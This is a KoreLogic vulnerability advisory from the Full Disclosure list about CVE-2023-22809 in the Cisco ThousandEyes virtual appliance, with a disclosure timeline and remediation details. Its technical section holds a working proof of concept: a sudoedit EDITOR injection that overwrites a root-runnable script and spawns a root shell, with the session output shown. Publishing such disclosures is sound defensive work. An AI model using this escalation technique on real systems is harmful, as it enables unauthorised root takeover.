KL-001-2023-003: Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Modification via sudoedit

[KoreLogic Disclosures via Fulldisclosure <fulldisclosure () seclists org>]

KL-001-2023-003: Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Modification via sudoedit

Title: Cisco ThousandEyes Enterprise Agent Virtual Appliance Arbitrary File Modification via sudoedit
Advisory ID: KL-001-2023-003
Publication Date: 2023.08.17
Publication URL: https://korelogic.com/Resources/Advisories/KL-001-2023-003.txt


1. Vulnerability Details

     Affected Vendor: ThousandEyes
     Affected Product: ThousandEyes Enterprise Agent Virtual Appliance
     Affected Version: thousandeyes-va-64-18.04 0.218
     Platform: Linux / Ubuntu 18.04
     CWE Classification: CWE-1395: Dependency on Vulnerable
                         Third-Party Component
     CVE ID: CVE-2023-22809


2. Vulnerability Description

     An unpatched vulnerability in 'sudoedit', allowed by sudo
     configuration, permits a low-privilege user to modify arbitrary
     files as root and subsequently execute arbitrary commands as
     root.


3. Technical Description

   The ThousandEyes Virtual Appliance is distributed with
   a restrictive set of commands that can be executed via
   sudo, without having to provide the password for the
   'thousandeyes' account. However, the ability to execute
   sudoedit of a specific file (/etc/hosts) via sudo is permitted
   without requiring the password. The sudoedit binary can
   be abused to allow the modification of any file on the
   filesystem. This is a known security vulnerability (per
   https://seclists.org/oss-sec/2023/q1/42), but had not been
   disclosed for the ThousandEyes Virtual Appliance. This can be
   abused to allow root-level compromise of the virtual appliance.

     thousandeyes@thousandeyes-va:~$ id
     uid=1000(thousandeyes) gid=1000(thousandeyes) 
groups=1000(thousandeyes),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),108(lpadmin),109(sambashare)
     thousandeyes@thousandeyes-va:~$ sudo -l
     Matching Defaults entries for thousandeyes on thousandeyes-va:
         env_reset, mail_badpass, 
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin

     User thousandeyes may run the following commands on thousandeyes-va:
         (ALL : ALL) ALL
         (ALL) NOPASSWD: /bin/systemctl start te-va, /bin/systemctl stop te-va, /bin/systemctl restart te-va, 
/bin/systemctl status te-va, /bin/systemctl start te-agent, /bin/systemctl stop
             te-agent, /bin/systemctl restart te-agent, /bin/systemctl status te-agent, /bin/systemctl start 
te-browserbot, /bin/systemctl stop te-browserbot, /bin/systemctl restart
             te-browserbot, /bin/systemctl status te-browserbot, /sbin/reboot, sudoedit /etc/hosts, /usr/bin/dig, 
/usr/bin/lsof, /usr/bin/apt-get update, /usr/bin/apt-get install te-agent,
             /usr/bin/apt-get install te-browserbot, /usr/bin/apt-get install te-va, /usr/bin/apt-get install te-pa, 
/usr/bin/apt-get install te-va-unlock, /usr/bin/apt-get install
             te-intl-fonts, /usr/bin/apt-get install te-agent-utils, /usr/bin/apt-get install ntpdate, 
/usr/bin/apt-cache, /usr/bin/te-*, /usr/local/bin/te-*, /usr/local/sbin/te-*
         (root) NOPASSWD: /usr/sbin/ntpdate, /usr/sbin/traceroute, /usr/sbin/tcpdump

   Here we see that /usr/local/bin/te-* are executable as root with no
   password. Even though sudoedit is only permitted to edit /etc/hosts,
   we can use EDITOR= to spawn vim to edit an arbitrary file. Pick one
   of those scripts because we can then execute it:

     thousandeyes@thousandeyes-va:~$ file /usr/local/bin/te-set-config
     /usr/local/bin/te-set-config: Python script, ASCII text executable
     thousandeyes@thousandeyes-va:~$ EDITOR='vim -- /usr/local/bin/te-set-config' sudoedit /etc/hosts
     sudoedit: --: editing files in a writable directory is not permitted
     2 files to edit
     sudoedit: /etc/hosts unchanged
     thousandeyes@thousandeyes-va:~$ file /usr/local/bin/te-set-config
     /usr/local/bin/te-set-config: ASCII text
     thousandeyes@thousandeyes-va:~$ cat /usr/local/bin/te-set-config
     /bin/bash
     thousandeyes@thousandeyes-va:~$ sudo /usr/local/bin/te-set-config
     root@thousandeyes-va:~# id
     uid=0(root) gid=0(root) groups=0(root)
     root@thousandeyes-va:~#


4. Mitigation and Remediation Recommendation

     The vendor has released a version which remediates the described
     vulnerability. Release notes are available at:

     https://bst.cloudapps.cisco.com/bugsearch/bug/CSCwf18994


5. Credit

     This vulnerability was discovered by Jim Becher of
     KoreLogic, Inc.


6. Disclosure Timeline

     2023.04.26 - KoreLogic submits vulnerability details to Cisco.
     2023.04.26 - Cisco acknowledges receipt and the intention to
                  investigate.
     2023.05.04 - Cisco notifies KoreLogic that a remediation for this
                  vulnerability is expected to be available within
                  90 days.
     2023.06.30 - 45 business days have elapsed since KoreLogic reported
                  this vulnerability to the vendor.
     2023.07.11 - Cisco informs KoreLogic that the issue has been
                  remediated in the latest ThousandEyes Virtual
                  Appliance and a Third Party Software Release Note
                  Enclosure will be released 2023.08.16. Cisco
                  provides CVE-2023-22809 to track this vulnerability.
     2023.07.24 - 60 business days have elapsed since KoreLogic reported
                  this vulnerability to the vendor.
     2023.08.16 - Cisco public acknowledgement.
     2023.08.17 - KoreLogic public disclosure.


7. Proof of Concept

     See 3. Technical Description.


The contents of this advisory are copyright(c) 2023
KoreLogic, Inc. and are licensed under a Creative Commons
Attribution Share-Alike 4.0 (United States) License:
http://creativecommons.org/licenses/by-sa/4.0/

KoreLogic, Inc. is a founder-owned and operated company with a
proven track record of providing security services to entities
ranging from Fortune 500 to small and mid-sized companies. We
are a highly skilled team of senior security consultants doing
by-hand security assessments for the most important networks in
the U.S. and around the world. We are also developers of various
tools and resources aimed at helping the security community.
https://www.korelogic.com/about-korelogic.html

Our public vulnerability disclosure policy is available at:
https://korelogic.com/KoreLogic-Public-Vulnerability-Disclosure-Policy.v2.3.txt

Attachment: OpenPGP_signature.asc
Description: OpenPGP digital signature

_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/